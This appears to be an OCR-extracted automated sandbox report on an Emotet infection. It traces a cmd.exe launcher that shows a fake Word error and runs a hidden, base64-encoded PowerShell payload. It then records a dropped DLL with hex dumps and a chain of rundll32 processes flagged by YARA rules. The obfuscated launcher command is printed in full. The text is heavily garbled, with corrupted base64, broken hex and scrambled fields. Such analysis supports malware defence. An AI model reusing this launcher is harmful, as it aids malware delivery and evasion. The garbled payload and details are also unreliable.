00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 FF FF FF FF

Completion

Source
Count Address

Symbol

FF FF

Analysis Process: cmd.exe PID: 2516 Parent PID: 1220

General

Start time: 09:30:37

Start date: 27/01/2021

Path: C:\Windows\System32\cmd.exe
Wow64 process (32bit): false

Commandline: cmd cmd /c m”"s"g %username% /v Word exp”erien”ced an er*ror tryi*ng to op”en th”e fi*le.
& p~owe”rs*heMIN -w hirdd”en -“e”nc UwBFAFQAIAAgGACQAIgAIACIAKWAIAE
YAVABzAECAIgAPACAAKAAGAFSAJABZAFAARQBIACgAIgB7ADEAfQB7ADMATQ
B7ADAAfQB7ADQAfQB7ADIAfQAIACAALQBGACAAIWBIAGBALJANACWAIWBZAH
KAIJWASACCATWBYAHKAIWASACCACWBOAGUADBQAUACCALAANAGQASQBYAGUAYwW
BOACCAKQAPACAAOWAJACAAJABXAEUAMWBSADKAPQAgACAAWWBUAHKAUABIAF
0AKAAIAHSAMQB9AHSAMABIAHSANQBIAHSANABIAHSAMgBIAHSAMWBIACIALQ
BMACCAWQANACWAIWBTACCALAANAFAAbBWBPAE4AJABIAEEADgANACWAIWBBAE
CARQBYACCALAANAHQARQBIAC4AbgBFAFQALYBTAGUAUgBWAEKAYWBIACCALA
ANAHMAIWAPACAAIAA7TACQASWBVADMAY QBJADY AMWASACQAVAA4ADIASAAGAC
SAIABbAGMAaABhAHIAXQA0ADMAMWAPACAAKWAGACQAUAA2AFBAUWATACQASQ
A3ADAAWGAIACGAIWBZADUAIWArACCAMABFACCAKQA7ACAAIAACAECAZQBOAC
0AaQBUAEUADBQAJACAAKAAIAHYAIgArACIAY QAIACSAIgBSAEKAQQBCAGWAZQ QAXAHKAcWBWADQAPQA0ACCAbgBzACCAKWANACAAIWATACgAIWB3AH QBzACCAKWAOACCAaAANACSAIWBIAG
QAJWAPACSAKAANAGEADgBJAGUAJWATACCALYBJAGBAIWAPACSAKAANAGOALW
AnACsAIWBOAGYAIWAPACSAIWBpAGAAIWArACgAIWBrAHAAIJWArACcAaAANAC
SAJWBWACBAZAANACKAKWANAGCAIWArACCACWANACSAKAANADCASgANACSAIwW
BtADKAJWAPACSAIWAVACCAKWAOACCAIQBUACCAKWANAHMAIAB3ACCAKQArAC
gAIWBLIACAAZAANACSAIWBIACCAKQAIACGAIWAGAGAAIWAIACCAZAABACBAIW
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ATALCAVUYAVALCARNYATALYJAIJWAVAUIVIAJWATALCADYBD LALCARWATIAHIVIAQWATIAL QB5AFOAKAANAG4AAagANACWAIWBOAHIAIWAPACWAIW
B5AG0AJWASACCACWBJACCALAAKAESAMQBpAHUAeABAAHAALAANAHCAZAANAC
KAWWAZAFOAKQAUACIAUWBWAGAADABPAFQAIgGAOACQARAALADQAUWAJACSAIA
AKAESAbWAZAGEAYWA2ADMAIAATACAAJABGADAAOABKACKAOWAKAEBAMQA2AF
IAPQAOACCAWAA2ACCAKWANADIAVgANACKAOWBMAGBACYBIAGEAYWBOACAAKA
AKAEOAZAALAHMAXWBOAGYAIABPAGAAIAAKAFQAY QAXAHKACWBWADQAKQB7AH QASACYAIWBBACCAKWAOACCAbgBSAFMACA
ANACsAIWBYACCAKQArACgAIWBpPACCAKWANAGAAZWANACKAKQAUACIAVABVAH
MAYABUAFIAaQBgAE4AZWAIACJAKQA7TACQAQYAYADCAQJAIACIAKAANAFCANA
ANACsAIWAZACCAKQArACCAUWANACKAOWBIAHIAZQBhAGSAOWAKAFOAOAAXAF
YAPQAOACCASQA2ACCAKWANADIAWQANACKAFQBIAGMAYQBOAGMAaAB7AHOAIQ
AKAEIANQA4AEKAPQAOACCATWAZACCAKWANADUASQANACKA

Imagebase: 0x49ef0000

File size: 345088 bytes

MD5 hash: 5746BD7E255DD6ABAFA06F7C42C1BA41L
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: msg.exe PID: 2296 Parent PID: 2516

General

Start time: 09:30:37

Start date: 27/01/2021

Path: C:\Windows\System32\msg.exe

Wow64 process (32bit): false

Commandline: msg user /v Word experienced an error trying to open the file.
Imagebase: 0xff080000

File size: 26112 bytes

MDS5 hash: 2214979661E779C3E3C33D4F14E6F3AC
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: powershell.exe PID: 1552 Parent PID: 2516

General

Start time: 09:30:38

Start date: 27/01/2021

Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): false

Commandline: powershell -w hidden -enc UwBFAFQAIAAgGACQAIgGAIACIAKWAIAEYAVABZAECA

IgAPACAAKAAGAFSAJABZAFAARQBIACYAIgB7ADEATQB7ADMAIQB7ADAAIQB7
ADQAFQB7ADIAIQAIACAALQBGACAAIWBJIAGSALGANACWAIWBZAHKAIWASACCA
TwBYAHKAJWASACCACWBOAGUADQAUACCALAANAGQASQBYAGUAYWBOACCAKQAP
ACAAOWAGACAAJABXAEUAMWBSADKAPQAGACAAWWBUAHKAUABIAFOAKAAIAHSA
MQB9IAHSAMABIAHSANQBIAHSANABIAHSAMIBIAHSAMWBIACIALQBMACCAWQAN
ACWAIWBTACCALAANAFAAbWBPAE4AJABIAEEADGANACWAIWBBAECARQBYACCA

X I AANAHNOARNORIACAARNRFAFNAI nRTAGI 1AL IARWAFKAYWRIACFAI AANAHMA TWwAN
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ACAAIAA7TACQASWBVADMAYQBJADYAMWASACQAVAA4ADIASAAgACSAIABDAGMA
aABhAHIAXQA0ADMAMWAPACAAKWAJACQAUAA2AFBAUWATACQASQA3ADAAWGA9
ACgAIWBZADUAIWArACCAMABFACCAKQA7ACAAIAACAECAZQBOACOAaQBUAEUA
bQAgACAAKAAIAHYAIgArACIAY QAIACSAIgBSAEKAQQBCAGWAZQABADUAIgAr
ACIARgBOAFMAZWAIACKAIAAgACKALgBWAGEAbBABVAGUAOgABACIAQWBYAGAA
RQBBAHQARQBJAGQAaQBYAGUAYABJAHQAbwBYAFKAIgAOACQASABPAEOARQAG
ACsAIAA0ACgAKAANAGUAMgBXACCAKWANAESAIWATACCAY QBrACCAKQAIrACgA AJWArACCAQWANACKAKQA7ACQAVQBIADCAdgA2
AGUADbQAGADOAIAACACYAIWBOACCAKWANADQAOQANACKAKWANAEKAIWAPADSA
JABCADMAMQBDADOAKAANAEEAOAANACSAIWAXAEOAIWAPADSAJABRAGYAeAAX
ADAAeABhADOAJABIAESBATQBFACSAKAAOACCAeWAWAHOASWBhACCAKWANAGSA
dABrAHMAdwB7ACCcAKWANADAAIWATACCAFQANACSAIWBBAGAAIJWArACCANgBY
AHQAaABOAHSAMABIACCAKQALAEYAIABbAGMAaABhAFIAXQASADIAKQAIrACQA
VQBIADcCAdgA2AGUABQAIrACCALgBKACCAIAATACAAIWBSAGWAIWA7TACQAWQAW
ADMARQA9ACgAIWBCADMAIWArACCAMWBSACCAKQA7ACQASWAXAGKAIQB4AHGA
CAA9ACCAaAANACAAKWAGACCAdABOACCAIAATACAAIWBWACCAOWAKAFQAY QAXbwANACsAIwBUACCAKWANAHQAZQANACKAKWAOACCcAbgBOACCAKWANACBAIWApP QBYACCAKWANAGQA
YWANACKAKWAOACCACgBhAGAAIWArACCAZQBzACCAKQATrACgAIJWAUAGMADbwAN
ACsAJWBtACBAIWArACcAegB5AGAACQANACKAKWANACOAIWArACCADAANACSA
KAANAGKAIWArACcAbgB1ACCAKWANAHJAIWATACCALQBSAGEAY QB5SACCAKQAT QB5AFOAKAANAG4AagANACWAIWBOAHIAIWAPACWAIWB5AGOAIWAS
ACCcACWBJACCALAAKAESAMQBpAHUAeAB4AHAALAANAHCAZAANACKAWWAZAFOA
KQAUACIAUWBWAGAADABPAFQAIgAOACQARAALIADQAUWAGACSAIAAKAESAbWAZ
AGEAYWA2ADMAIAArACAAJABGADAAOABKACKAOWAKAEBAMQA2AFIAPQAOCACCA
WAA2ACCAKWANADIAVgANACKAOWBMAGB8ACYBIAGEAYWBOACAAKAAKAEOAZAAL
AHMAXWBOAGYAIABpAG4AIAAKAFQAY QAXAHKACWBWADQAKQB7AHQACGB5AHSA
KAAMACgAIWBOAGUAIWAIACCAAWAIAEBAIWATACCAY gBqACCAKWANAGUAYWBO
ACCcAKQAgAHMAeQBTAFQARQBNAC4ATYBIAFQALYB3AEUAQYUBDAEWASQBFAG4A
dAAPAC4AIgBEAESBAdWBOAGAATABJAGBAQQBYAEQARIBIAGWARQAIACJAJABK
AGQANQBzAF8AaABMACWAIAAKAFEAZgBAADEAMAB4AAGEAKQA7ACQATAAYADKA
RAA9ACgAIWBPADYAIWArACCANABIACCAKQA7AEKAZGAgACJAKAAMACAIWBH
AGUAJAAAEKAIWArACCAdJABIACCAKWANAGOAIWAPACAAIABRAGYAeAAXADAA
eABhACKALGAIAEWAYABIAG4ARWBgAFQAaAAIACAALQBNAGUAIAAOADQANWAX
ADIAKQAgAHSAJgACOACCACGBLAGAAZAANACSAIWBSAGWAMWAYACCAKQAGACQA
UQBMAHgAMQAWAHgAY QASACgAIWBBACCAKWAOACCAbgBSAFMAJAANACSAIWBY
ACCAKQArACgAIWBPACCAKWANAGAAZWANACKAKQAUACIAVABVAHMAYABUAFIA
aQBgAE4AZWAIACJAKQA7TACQAQYAYADCAQUAIACYAKAANAFCANAANACSAIWAZ
ACCAKQArACCAUWANACKAOWBIAHIAZQBhAGSAOWAKAFOAOAAXAFYAPQAOACCA
SQA2ACCAKWANADIAWQANACKAFQBIAGMAY QBOAGMAaAB7AHOAFQAKAEIANQA4
AEKAPQAOACCATWAZACCAKWANADUASQANACKA

Imagebase: 0x13f3a0000
File size: 473600 bytes
MD5 hash: 852D67A27E454BD389FA7TF02A8CBE23F
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Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Path
C:\Users\user\Kaktksw

C:\Users\user\Kaktksw\An6othh

C:\Users\user\Kaktksw\An6othh\N49l.dll

Old File Path

File Written

File Path
C:\Users\user\Kaktksw\An6othh\N49l.dll

Copyright null 2021

true

true

Net C# or VB.NET

high

Access Attributes

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read attributes | device
synchronize |
generic write

New File Path

Offset Length Value

unknown 4096 4d 5a 50 00 02 00 00 MZP

00 04 00 0f 00 ff ff 00
00 b8 00 00 00 00 00

Options Completion

directory file | success or wait
synchronous io

non alert | open

for backup ident

| open reparse

point

directory file | success or wait
synchronous io

non alert | open

for backup ident

| open reparse

point

synchronous io  success or wait
non alert | non

directory file |

open no recall

........... 1..L.I.This program

00 00 40 00 1a 00 00 must be run under
00 00 00 00 00 00 00 Win32..$7

00 00 00 00 000000 .
00 00 00 00 00 00 00 .
00 00 00 00 00 00 00 .
00 00 0000010000 .

ba 10 00 Oe 1f b4 09
cd 21 b8 01 4c cd 21
90 90 54 68 69 73 20
7072 6f 67 72 61 6d
20 6d 75 73 74 20 62
652072 75 6e 20 75
6e 64 65 72 20 57 69
6e 33 32 0d Oa 24 37
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00

Source
Count Address Symbol
1 7FEE875BEC7 CreateDirectoryW
1 7FEE875BEC7 CreateDirectoryW
1 7FEE875BEC7 CreateFileW

Source
Completion Count Address Symbol
Source
Ascii Completion Count Address Symbol
success or wait 2 7FEE875BEC7 WriteFile
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Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\Kaktksw\An6othh\N49l.dll unknown 65028 ff b8 28 66 46 00 €8 ..(fF..u.....eF...t......eF.P. success or wait 14 7FEE875BEC7 WriteFile
758 ffffale4 6546 ... eF..u.3.2YYd..h].@..=
0085c074 17 8b10 M'F..theF...heF..... 9.
89 15 e4 65 46 00 50 ...[].S;..fF.u..P...fF..P..H.
e8d6 f7 ffffal e4 65 ......8;.U...y........ $fF.3..
460085¢c075€933 T..$.y......... $fF.T....... P.
c0 5a 59 59 64 89 10 Pl.@...(fFF...J..r
68 5d 1c 4000 80 3d ..J.;.r.....(fF.u....eF....3.
4d 60 46 00 00 74 0a ....S..........
68 cc 65 46 00 e8 d5
f7 ff ff 68 cc 65 46 00
e8d3 f7 ff ff c3 €9 39
1e 00 00 eb db 5b 5d
¢353 3b 05 18 66 46
00 75 09 8b 50 04 89
15 18 66 46 00 8b 50
04 8b 48 08 81 f9 00
10 00 00 7f 38 3b c2
7517 85¢9 79 03 83
c103clf902al24
66 46 00 33 d2 89 54
88 f4 eb 24 85 c9 79
0383 c103clf902
8b 1d 24 66 46 00 89
54 8b f4 8b 00 89 02
89 50 04 5b ¢3 8b 00
89 02 89 50 04 5b c3
8d 40 00 8b 15 28 66
46 00 eb 10 8b 4a 08
3b ¢l 72 07 03 4a Oc
3bcl72168b12 81
fa 28 66 46 00 75 e8
c7 05 ¢c8 65 46 00 03
00 00 00 33 d2 8b c2
€390 53 8b ca 83 e9
04 8d 1c 01 83 fa

File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEE85C5208 unknown
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 6304 success or wait 3 7FEE85C5208 unknown
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEEB6EA287 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1lxml unknown 4096 success or wait 4 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1lxml unknown 781 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1lxml unknown 4096 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 success or wait 42 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml unknown 4096 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 success or wait 7 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 542 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.psixml unknown 4096 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 success or wait 6 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 78 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml unknown 4096 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 success or wait 7 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 310 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml unknown 4096 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 success or wait 18 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 50 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml unknown 4096 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 success or wait 7 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml unknown 4096 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 success or wait 62 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 201 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml unknown 4096 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 success or wait 22 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 409 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml unknown 4096 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 success or wait 5 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 844 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml unknown 4096 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 success or wait 5 7FEE875BEC7 ReadFile
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Source

File Path Offset Length Completion Count Address Symbol
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 360 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml unknown 4096 end of file 1 7FEE875BEC7 ReadFile
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 4096 success or wait 1 7FEE86B69DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1. unknown 512 success or wait 1 7FEE86B69DF unknown
0.0.0__31bf3856ad364e35\System.Management.Automation.dll
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 success or wait 1 7FEE875BEC7 ReadFile
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4096 end of file 1 7FEE875BEC7 ReadFile
Registry Activities
Source
Key Path Completion Count Address Symbol
Source
Key Path Name Type Data Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2304 Parent PID: 1552
General
Start time: 09:30:45
Start date: 27/01/2021
Path: C:\Windows\System32\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

‘C:\Windows\system32\rundlI32.exe' C:\Users\user\Kaktksw\An6othh\N49l.dIl AnyString

0xff4a0000
45568 bytes

DD81D91FF3B0763C392422865C9AC12E

true

true

C, C++ or other language

Reputation: moderate
File Activities
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Users\user\Kaktksw\An6othh\N49l.dll unknown 64 success or wait 1 FF4A27D0 ReadFile
C:\Users\user\Kaktksw\An6othh\N49l.dll unknown 264 success or wait 1 FF4A281C ReadFile
Analysis Process: rundll32.exe PID: 2748 Parent PID: 2304
General
Start time: 09:30:45
Start date: 27/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright null 2021

true

‘C:\Windows\system32\rundlI32.exe' C:\Users\user\Kaktksw\An6othh\N49l.dIl AnyString

0xbc0000
44544 bytes

51138BEEA3E2C21EC44D0932C71762A8

true

true

Borland Delphi
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Yara matches:

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2099609589.00000000002E0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2099871520.0000000000510000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2099349373.0000000000240000.00000040.00020000.sdmp,
Author: Joe Security

Reputation: moderate
Analysis Process: rundll32.exe PID: 2728 Parent PID: 2748
General
Start time: 09:30:46
Start date: 27/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Kaktksw\An6othh\N491.dII' #1
0xbc0000

44544 bytes

51138BEEA3E2C21EC44D0932C71762A8

true

true

Borland Delphi

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2102026803.00000000002D0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2102360231.0000000000990000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2101833824.0000000000230000.00000040.00020000.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
Old File Path Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2812 Parent PID: 2728
General
Start time: 09:30:47
Start date: 27/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright null 2021

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xsugi\zrfn.shd',FIxqgRZUp
0xbc0000

44544 bytes

51138BEEA3E2C21EC44D0932C71762A8

true

true

Borland Delphi
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Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000009.00000002.2103817256.0000000000770000.00000040.00020000.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000009.00000002.2103543445.00000000001E0000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000009.00000002.2103566665.0000000000210000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate

Analysis Process: rundll32.exe PID: 2876 Parent PID: 2812

General

Start time: 09:30:48

Start date: 27/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xsugi\zrfn.shd' #1

Imagebase: 0xbc0000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Borland Delphi

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000A.00000002.2106310017.00000000001C0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000A.00000002.2106250328.0000000000160000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

0000000A.00000002.2111292152.0000000000B10000.00000040.00020000.sdmp,
Author: Joe Security

Reputation: moderate

File Activities

Source

File Path Access Attributes Options Completion Count Address Symbol
Source

Old File Path New File Path Completion Count Address Symbol

Analysis Process: rundll32.exe PID: 2908 Parent PID: 2876

General

Start time: 09:30:49

Start date: 27/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Omuzgl\aridm.cve

',PiIBVmMpskdW

Imagebase: 0xbc0000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Borland Delphi
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Yara matches:

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2110427728.00000000002A0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2110654197.0000000000750000.00000040.00020000.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2110403391.0000000000220000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
Analysis Process: rundll32.exe PID: 912 Parent PID: 2908
General
Start time: 09:30:50
Start date: 27/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Omuzgl\aridm.cve' #1
0xbc0000

44544 bytes

51138BEEA3E2C21EC44D0932C71762A8

true

true

Borland Delphi

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000C.00000002.2112160359.00000000001B0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000C.00000002.2112213482.00000000002B0000.00000040.00020000.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000C.00000002.2112133272.0000000000180000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
Old File Path Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 1616 Parent PID: 912
General
Start time: 09:30:52
Start date: 27/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright null 2021

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Yjyrclfl\qwodoyj.whn',CPVO
0xbc0000

44544 bytes

51138BEEA3E2C21EC44D0932C71762A8

true

true

Borland Delphi
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Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000D.00000002.2114550082.00000000007B0000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000D.00000002.2114093455.0000000000710000.00000040.00020000.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000D.00000002.2113942317.00000000006A0000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate

Analysis Process: rundll32.exe PID: 2492 Parent PID: 1616

General

Start time: 09:30:52

Start date: 27/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Yjyrclfi\qwodoyj.whn'#1

Imagebase: 0xbc0000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Borland Delphi

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000E.00000002.2340258197.0000000000740000.00000040.00020000.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000E.00000002.2340368896.00000000007E0000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

0000000E.00000002.2340125586.0000000000300000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Registry Activities
Source
Key Path Name Type Old Data New Data Completion Count Address Symbol

Disassembly

Code Analysis
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